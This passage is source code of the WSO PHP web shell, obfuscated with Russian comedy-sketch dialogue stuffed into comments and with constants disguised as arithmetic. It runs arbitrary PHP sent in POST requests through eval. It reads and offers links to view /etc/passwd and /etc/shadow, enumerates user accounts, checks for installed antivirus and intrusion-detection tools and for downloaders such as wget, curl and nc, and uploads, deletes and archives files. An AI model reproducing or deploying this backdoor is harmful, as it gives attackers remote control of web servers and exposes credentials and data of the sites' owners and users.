  422.     $i /* <Peter>: Себе на кепку посмотри. */
  423.         .= (($p & round(0 + 1 + 1 + 1 + 1)) ? 'r' : '-');
  424.     $i /* <Avon>: Чо там? */
  425.         .= (($p & round(0 + 1 + 1)) ? 'w' : '-');
  426.     $i /* <Avon>: Опять кепка... Хватит менять размер моей кепки, ты, демон! */
  427.         .= (($p & round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)) ? (($p & round(0 + 512)) ? 't' : 'x') : (($p & round(0 + 102.4 + 102.4 + 102.4 + 102.4 + 102.4)) ? 'T' : '-'));
  428.     return /* <Peter>: О, отлично, менты приехали! Ура, менты, привет! Наконец-то менты! */
  429.         $i;
  430. }
  431.  
  432. function /* <Policeman>: <to operator> Выруби камеру. */
  433. wsoPermsColor($f)
  434. {
  435.     if (!@is_readable($f)) return /* <Peter>: Давайте аристуем его побыстрей! */
  436.         '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return /* <Avon>: Аристуйте его, он нас пугает, я чуть не обоссался! */
  437.         '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; else /* <Peter>: Он мои компакт-диски скукожил! */
  438.     return /* <Policeman>: Так-так. Всем спокойно, чё за проблемы? */
  439.         '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  440. }
  441.  
  442. function /* <Avon>: Я держал ебалайку, а он её увеличил до машины, чёть не придавило, а ещё у кепки постоянно размер меняет, вот! Чё мне теперь, на коленке носить, что ли? */
  443. wsoScandir($dir)
  444. {
  445.     if (function_exists("scandir")) {
  446.         return /* <Policeman>: Ага, ну всё понятно... <to David Blayne> Вы, сэр, развернитесь и встаньте лицом к стене. */
  447.             scandir($dir);
  448.     } else {
  449.         $dh = opendir($dir);
  450.         while (false /* <Avon>: Уйди! */
  451.             !== ($filename = readdir($dh))) $files[] = $filename;
  452.         return /* <Peter>: Его необходимо арестовать за то, что он отправил меня во времена динозавров, а я там чуть не сдох! Я есть хотел, и мне пришлось украсть яйцо с динозавриком, и мама динозавра гналась за мной потом и загнала меня в УГОЛ!!! */
  453.             $files;
  454.     }
  455. }
  456.  
  457. function /* <Avon>: Даже не прокатился! */
  458. wsoWhich($p)
  459. {
  460.     $path = wsoEx('which ' . $p);
  461.     if (!empty($path)) return /* <Peter>: Я весь изговнякался! */
  462.         $path;
  463.     return /* <Avon>: А этот долботряс даже не покатался на них, они были злые! */
  464.         false;
  465. }
  466.  
  467. function /* <Policeman>: Всё понятно... Давайте по порядку. Назовите свои имена. */
  468. actionSecInfo()
  469. {
  470.     wsoHeader();
  471.     echo /* <Peter>: ...r g u f a n... */
  472.     '<h1>Server security information</h1><div class=content>';
  473.     function /* <Avon>: Peter Peszynski */
  474.     wsoSecParam($n, $v)
  475.     {
  476.         $v = trim($v);
  477.         if ($v) {
  478.             echo /* <Peter>: У тебя польская фамилия! */
  479.                 '<span>' . $n . ': </span>';
  480.             if (strpos($v, "\n") === /* <Peter>: Его необходимо арестовать, там, в тюрьму посадить или ещё куда, ну, в общем, закрыть навсегда его! */
  481.                 false
  482.             ) echo /* <Avon>: Он нам жизнь разрушил уже! */
  483.                 $v . '<br>'; else /* <David Blaine>: <in the policeman's suit> Хорошо... Я посмотрю, что я смогу для вас сделать... */
  484.             echo /* <Peter>: В рот мне ноги, фак мой мозг!!! */
  485.                 '<pre class=ml1>' . $v . '</pre>';
  486.         }
  487.     }
  488.  
  489.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  490.     if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  491.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
  492.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  493.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  494.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  495.     wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
  496.     $temp = array();
  497.     if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
  498.     if (function_exists('mssql_connect')) $temp[] = "MSSQL";
  499.     if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
  500.     if (function_exists('oci_connect')) $temp[] = "Oracle";
  501.     wsoSecParam('Supported databases', implode(', ', $temp));
  502.     echo /* <Peter>: Чё за хуйня, ёманарооооот!!! Я щас обоссусь! */
  503.     '<br>';
  504.     if ($GLOBALS['os'] == /* <=====end of part=====> */
  505.         'nix'
  506.     ) {
  507.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
  508.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
  509.         wsoSecParam('OS version', @file_get_contents('/proc/version'));
  510.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  511.         if (!$GLOBALS['safe_mode']) {
  512.             $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
  513.             $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
  514.             $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
  515.             echo /* <=====street magic=====> */
  516.             '<br>';
  517.             $temp = array();
  518.             foreach ($userful /* <David Blaine>: Ага, вот эти ребята... */
  519.                      as /* <Peter>: Ненененене!! */
  520.                      $item) if (wsoWhich($item)) $temp[] = $item;
  521.             wsoSecParam('Userful', implode(', ', $temp));
  522.             $temp = array();
  523.             foreach ($danger /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
  524.                      as /* <David Blaine>: Я делаю особую, уличную магию. */
  525.                      $item) if (wsoWhich($item)) $temp[] = $item;
  526.             wsoSecParam('Danger', implode(', ', $temp));
  527.             $temp = array();
  528.             foreach ($downloaders /* <David Blaine>: Кто хочет увидеть немного магии? */
  529.                      as /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
  530.                      $item) if (wsoWhich($item)) $temp[] = $item;
  531.             wsoSecParam('Downloaders', implode(', ', $temp));
  532.             echo /* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
  533.             '<br/>';
  534.             wsoSecParam('HDD space', wsoEx('df -h'));
  535.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  536.             echo /* <David Blaine>: И где вы шопились? */
  537.             '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  538.             if (isset($_POST['p2'], $_POST['p3']) && /* <Peter>: В один магаз ходили новый! */
  539.                 is_numeric($_POST['p2']) && /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
  540.                 is_numeric($_POST['p3'])
  541.             ) {
  542.                 $temp = "";
  543.                 for (; $_POST['p2'] <= /* <David Blaine>: И чо купили? */
  544.                        $_POST['p3']; $_POST['p2']++) {
  545.                     $uid = @posix_getpwuid($_POST['p2']);
  546.                     if ($uid) $temp /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
  547.                         .= /* <Peter>: Зеленый свитер! */
  548.                         join(':', $uid) . "\n";
  549.                 }
  550.                 echo /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
  551.                 '<br/>';
  552.                 wsoSecParam('Users', $temp);
  553.             }
  554.         }
  555.     } else {
  556.         wsoSecParam('OS Version', wsoEx('ver'));
  557.         wsoSecParam('Account Settings', wsoEx('net accounts'));
  558.         wsoSecParam('User Accounts', wsoEx('net user'));
  559.     }
  560.     echo /* <Avon>: Да, я уверен! */
  561.     '</div>';
  562.     wsoFooter();
  563. }
  564.  
  565. function /* <Avon>: ТЕДДИ БИР!! */
  566. actionPhp()
  567. {
  568.     if (isset($_POST['ajax'])) {
  569.         __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  570.         ob_start();
  571.         eval($_POST['p1']);
  572.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  573.         echo /* <Peter>: Чё за херь! */
  574.         strlen($temp), "\n", $temp;
  575.         exit;
  576.     }
  577.     if (empty($_POST['ajax']) && !empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', round(0));
  578.     wsoHeader();
  579.     if (isset($_POST['p2']) && ($_POST['p2'] == /* <Peter>: Э, ты чо сделал-то, а?! */
  580.             'info')
  581.     ) {
  582.         echo /* <Avon>: Где мой свитер? */
  583.         '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  584.         ob_start();
  585.         phpinfo();
  586.         $tmp = ob_get_clean();
  587.         $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
  588.         echo /* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
  589.             str_replace('<h1', '<h2', $tmp) . '</div><br>';
  590.     }
  591.     echo /* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
  592.         '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
  593.     echo /* <Peter>: Питер, глянь чо на тебе! */
  594.         ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
  595.     if (!empty($_POST['p1'])) {
  596.         ob_start();
  597.         eval($_POST['p1']);
  598.         echo /* <Avon>: Что за херня??? Как? */
  599.         htmlspecialchars(ob_get_clean());
  600.     }
  601.     echo /* <Peter>: В РОТ МНЕ НОГИ!!! */
  602.     '</pre></div>';
  603.     wsoFooter();
  604. }
  605.  
  606. function /* <Avon>: Я держал в руках вещи! */
  607. actionFilesMan()
  608. {
  609.     if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  610.     if (!empty($_POST['p1'])) {
  611.         switch ($_POST['p1']) {
  612.             case /* <Peter>: В рот мне ноги! */
  613.             'uploadFile':
  614.                 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo /* <Avon>: А, он уже растянутый, спасибо тебе! */
  615.                 "Can't upload file!";
  616.                 break;
  617.             case /* <Peter>: Слушай, остановись, а? */
  618.             'mkdir':
  619.                 if (!@mkdir($_POST['p2'])) echo /* <Avon>: Растянул свитер, я его даже не поносил ещё! */
  620.                 "Can't create new dir";
  621.                 break;
  622.             case /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
  623.             'delete':
  624.                 function /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
  625.                 deleteDir($path)
  626.                 {
  627.                     $path = (substr($path, -round(0 + 1)) == '/') ? $path : $path . '/';
  628.                     $dh = opendir($path);
  629.                     while (($item = readdir($dh)) !== /* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
  630.                         false) {
  631.                         $item = $path . $item;
  632.                         if ((basename($item) == /* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
  633.                                 "..") || (basename($item) == /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
  634.                                 ".")
  635.                         ) continue;
  636.                         $type = filetype($item);
  637.                         if ($type /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
  638.                             == /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
  639.                             "dir"
  640.                         ) deleteDir($item); else@unlink($item);
  641.                     }
  642.                     closedir($dh);
  643.                     @rmdir($path);
  644.                 }
  645.  
  646.                 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as /* <Avon>: У меня во рту оранж сода! */
  647.                                                      $f) {
  648.                     if ($f /* <Peter>: Я на измене, я на измене! */
  649.                         == /* <Avon>: Какая херня, ты положил её мне в рот! */
  650.                         '..'
  651.                     ) continue;
  652.                     $f = urldecode($f);
  653.                     if (is_dir($f)) deleteDir($f); else@unlink($f);
  654.                 }
  655.                 break;
  656.             case /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
  657.             'paste':
  658.                 if ($_COOKIE['act'] == /* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
  659.                     'copy'
  660.                 ) {
  661.                     function /* <Peter>: НЕТ! */
  662.                     copy_paste($c, $s, $d)
  663.                     {
  664.                         if (is_dir($c . $s)) {
  665.                             mkdir($d . $s);
  666.                             $h = @opendir($c . $s);
  667.                             while (($f = @readdir($h)) !== /* <Avon>: Не, чувак, лучше себе показывай! */
  668.                                 false) if (($f /* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
  669.                                     != /* <Avon>: Оставь нас в покое! */
  670.                                     ".")and($f /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
  671.                                     != /* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
  672.                                     "..")
  673.                             ) copy_paste($c . $s . '/', $f, $d . $s . '/');
  674.                         } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
  675.                     }
  676.  
  677.                     foreach ($_COOKIE['f'] as /* <David Blaine>: Просто подождите секундочку, а? */
  678.                              $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
  679.                 } elseif ($_COOKIE['act'] == /* <Peter>: Крис Эйнджел делает это лучше, сука, понял, Крис Эйнджел делает это лучше! */
  680.                     'move'
  681.                 ) {
  682.                     function /* <Avon>: Эйвин! Я лечу! */
  683.                     move_paste($c, $s, $d)
  684.                     {
  685.                         if (is_dir($c . $s)) {
  686.                             mkdir($d . $s);
  687.                             $h = @opendir($c . $s);
  688.                             while (($f = @readdir($h)) !== /* <Peter>: Ёманарот!! */
  689.                                 false) if (($f /* <Avon>: Я чувствую тепло и лечу! */
  690.                                     != /* <Peter>: ЁМАНАРОТ!!! */
  691.                                     ".")and($f /* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
  692.                                     != /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
  693.                                     "..")
  694.                             ) copy_paste($c . $s . '/', $f, $d . $s . '/');
  695.                         } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
  696.                     }
  697.  
  698.                     foreach ($_COOKIE['f'] as /* <Peter>: Хватит мне газировку в рот пихать! */
  699.                              $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
  700.                 } elseif ($_COOKIE['act'] == /* <Avon>: Он даже не отлевитировал меня обратно! */
  701.                     'zip'
  702.                 ) {
  703.                     if (class_exists('ZipArchive')) {
  704.                         $zip = new /* <Peter>: В рот мне ноги, валим отсюда быстрей! */
  705.                         ZipArchive();
  706.                         if ($zip->open($_POST['p2'], round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333))) {
  707.                             chdir($_COOKIE['c']);
  708.                             foreach ($_COOKIE['f'] as /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
  709.                                      $f) {
  710.                                 if ($f /* <Peter>: Иди в пень, а то щас ментов позову! */
  711.                                     == /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
  712.                                     '..'
  713.                                 ) continue;
  714.                                 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f); elseif (@is_dir($_COOKIE['c'] . $f)) {
  715.                                     $iterator = new /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
  716.                                     RecursiveIteratorIterator(new /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
  717.                                     RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
  718.                                     foreach ($iterator /* <Peter>: Дашь мне сто долларов? */
  719.                                              as /* <Avon>: Ты сможешь купить тот шарфик! */
  720.                                              $key => $value) {
  721.                                         $zip->addFile(realpath($key), $key);
  722.                                     }
  723.                                 }
  724.                             }
  725.                             chdir($GLOBALS['cwd']);
  726.                             $zip->close();
  727.                         }
  728.                     }
  729.                 } elseif ($_COOKIE['act'] == /* <Peter>: Точно! Зашибись, гони сто баксов. */
  730.                     'unzip'
  731.                 ) {
  732.                     if (class_exists('ZipArchive')) {
  733.                         $zip = new /* <David Blaine>: Могу я зайти? */
  734.                         ZipArchive();
  735.                         foreach ($_COOKIE['f'] as /* <Peter>: Ну ладно, пошли... */
  736.                                  $f) {
  737.                             if ($zip->open($_COOKIE['c'] . $f)) {
  738.                                 $zip->extractTo($GLOBALS['cwd']);
  739.                                 $zip->close();
  740.                             }
  741.                         }
  742.                     }
  743.                 } elseif ($_COOKIE['act'] == /* <Peter>: Ты точно деньги дашь? */
  744.                     'tar'
  745.                 ) {
  746.                     chdir($_COOKIE['c']);
  747.                     $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  748.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  749.                     chdir($GLOBALS['cwd']);
  750.                 }
  751.                 unset($_COOKIE['f']);
  752.                 setcookie('f', '', time() - round(0 + 1800 + 1800));
  753.                 break;
  754.             default:
  755.                 if (!empty($_POST['p1'])) {
  756.                     __WSO__setcookie('act', $_POST['p1']);
  757.                     __WSO__setcookie('f', serialize(@$_POST['f']));
  758.                     __WSO__setcookie('c', @$_POST['c']);
  759.                 }
  760.                 break;
  761.         }
  762.     }
  763.     wsoHeader();
  764.     echo /* <Avon>: Добро пожаловать в дом. */
  765.     '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  766.     $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
  767.     if ($dirContent /* <Peter>: И вот мы в моей квартире, и чо? */
  768.         === /* <David Blaine>: Вот это что такое? */
  769.         false
  770.     ) {
  771.         echo /* <Peter>: Мой видак. */
  772.         'Can\'t open this folder!';
  773.         wsoFooter();
  774.         return;
  775.     }
  776.     global /* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
  777.     $sort;
  778.     $sort = array('name', round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333));
  779.     if (!empty($_POST['p1'])) {
  780.         if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[round(0 + 0.25 + 0.25 + 0.25 + 0.25)], (int)$match[round(0 + 2)]);
  781.     }
  782.     echo /* <Peter>: Щас посмотрю, может где-то есть... */
  783.         "<script>
  784.                            function sa() {
  785.                                for(i=0;i<d.files.elements.length;i++)
  786.                                    if(d.files.elements[i].type == 'checkbox')
  787.                                        d.files.elements[i].checked = d.files.elements[0].checked;
  788.                            }
  789.                        </script>
  790.                        <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  791.                            <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[round(0 + 0.25 + 0.25 + 0.25 + 0.25)] ? round(0) : round(0 + 1)) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[round(0 + 0.5 + 0.5)] ? round(0) : round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)] ? round(0) : round(0 + 1)) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[round(0 + 0.5 + 0.5)] ? round(0) : round(0 + 0.25 + 0.25 + 0.25 + 0.25)) . "\")'>Permissions</a></th><th>Actions</th></tr>";
  792.     $dirs = $files = array();
  793.     $n = count($dirContent);
  794.     for ($i = round(0); $i < $n; $i++) {
  795.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  796.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  797.         $tmp = array('name' => /* <David Blaine>: Посмотри в магнитофоне, она там. */
  798.         $dirContent[$i], 'path' => /* <Avon>: Чё-то мне как-то сыкатно... */
  799.         $GLOBALS['cwd'] . $dirContent[$i], 'modify' => /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
  800.         date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => /* <Avon>: А вот это мама Эйвона. */
  801.         wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => /* <Peter>: Вот я сопли пузырями надуваю, и чо? */
  802.         $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => /* <Avon>: Его мама и щас хорошо выглядит. */
  803.         $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
  804.         if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => /* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
  805.         'file')); elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => /* <Peter>: Фак мой моск!! */
  806.         'link', 'link' => /* <Avon>: Это что вообще за хуйня?!!!! */
  807.         readlink($tmp['path']))); elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => /* <Avon>: Тот же самый и там и там!! */
  808.         'dir'));
  809.     }
  810.     $GLOBALS['sort'] = $sort;
  811.     function /* <Peter>: Фак мой моск!!! */
  812.     wsoCmp($a, $b)
  813.     {
  814.         if ($GLOBALS['sort'][round(0)] != /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
  815.             'size'
  816.         ) return /* <Avon>: Блин, я обоссался! */
  817.             strcmp(strtolower($a[$GLOBALS['sort'][round(0)]]), strtolower($b[$GLOBALS['sort'][round(0)]])) * ($GLOBALS['sort'][round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)] ? round(0 + 0.25 + 0.25 + 0.25 + 0.25) : -round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)); else /* <Peter>: Ёманарот, сдрисни вообще отсюда, демон, вали отсюда в прошлое или будущее, я не знаю, ёманарот! */
  818.         return (($a['size'] < $b['size']) ? -round(0 + 0.25 + 0.25 + 0.25 + 0.25) : round(0 + 0.25 + 0.25 + 0.25 + 0.25)) * ($GLOBALS['sort'][round(0 + 0.5 + 0.5)] ? round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2) : -round(0 + 0.5 + 0.5));
  819.     }
  820.  
  821.     usort($files, "wsoCmp");
  822.     usort($dirs, "wsoCmp");
  823.     $files = array_merge($dirs, $files);
  824.     $l = round(0);
  825.     foreach ($files /* <Peter>: Сдрисни отсюда, а то я ментов вызову, заяву на тебя накатаю! */
  826.              as /* <Peter>: Пошёл отсюда, говнюк! В рот мне ноги! */
  827.              $f) {
  828.         echo /* <Operator>: Вот это впечатляюще было... */
  829.             '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
  830.         $l = $l ? round(0) : round(0 + 0.5 + 0.5);
  831.     }
  832.     echo /* <David Blaine>: Подожди... */
  833.         "<tr><td colspan=7>
  834.                                                                                                                    <input type=hidden name=a value='FilesMan'>
  835.                                                                                                                    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
  836.                                                                                                                    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  837.                                                                                                                    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  838.     if (class_exists('ZipArchive')) echo /* <Peter>: Он обоссался оранж содой! */
  839.     "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  840.     echo /* <Peter>: В рот мне ноги!!! */
  841.     "<option value='tar'>Compress (tar.gz)</option>";
  842.     if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo /* <=====end of part=====> */
  843.     "<option value='paste'>Paste / Compress</option>";
  844.     echo /* <David Blaine>: Ага, вот эти ребята... */
  845.     "</select>&nbsp;";
  846.     if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == /* <David Blaine>: Эй, парни, я делаю особую, уличную магию */
  847.                     'zip') || ($_COOKIE['act'] == /* <Avon>: Ненененене!! */
  848.                     'tar'))
  849.     ) echo /* <David Blaine>: Хотите немного волшебства? */
  850.         "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == /* <Peter>: Знаешь, не хотим! */
  851.         'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
  852.     echo /* <Avon>: Нет, нет! Тебе по ордеру запрещено подкатывать свои демонские яйца к нам!! */
  853.     "<input type='submit' value='>>'></td></tr></form></table></div>";
  854.     wsoFooter();
  855. }
  856.  
  857. function /* <Avon>: Я звоню ментам! */
  858. actionStringTools()
  859. {
  860.     if (!function_exists('hex2bin')) {
  861.         function /* <Peter>: Продолжай пыриться! Ну. Ну пырься, пырься на меня, пырься, пырься. Ты ж знаешь, что это незаконно! */
  862.         hex2bin($p)
  863.         {
  864.             return /* <Avon>: ...спасибо, спасибо... Они уже близко. Щас менты подъедут, понял? */
  865.                 decbin(hexdec($p));
  866.         }
  867.     }
  868.     if (!function_exists('binhex')) {
  869.         function /* <David Blaine>: Вот ты. Что у тебя за машина? */
  870.         binhex($p)
  871.         {
  872.             return /* <Peter>: У меня? Хонда чёрная! */
  873.                 dechex(bindec($p));
  874.         }
  875.     }
  876.     if (!function_exists('hex2ascii')) {
  877.         function /* <David Blaine>: Интересно, хонда... Такая компактная, да? */
  878.         hex2ascii($p)
  879.         {
  880.             $r = '';
  881.             for ($i = round(0); $i < strLen($p); $i += round(0 + 2)) {
  882.                 $r .= chr(hexdec($p[$i] . $p[$i + round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)]));
  883.             }
  884.             return /* <Peter>: Компактная? Да сам посмотри!.. Фак мой мозг!! Где машина? */
  885.                 $r;
  886.         }
  887.     }
  888.     if (!function_exists('ascii2hex')) {
  889.         function /* <Avon>: И где она? */
  890.         ascii2hex($p)
  891.         {
  892.             $r = '';
  893.             for ($i = round(0); $i < strlen($p); ++$i) $r .= /* <Peter>: Ты украл мою машину, чё ты стырил-то мою машину?? */
  894.                 sprintf('%02X', ord($p[$i]));
  895.             return /* <David Blaine>: Ты сам внимательн посмотри. */
  896.                 strtoupper($r);
  897.         }
  898.     }
  899.     if (!function_exists('full_urlencode')) {
  900.         function /* <Avon>: Вот эта ебалайка что ли твоя машина? */
  901.         full_urlencode($p)
  902.         {
  903.             $r = '';
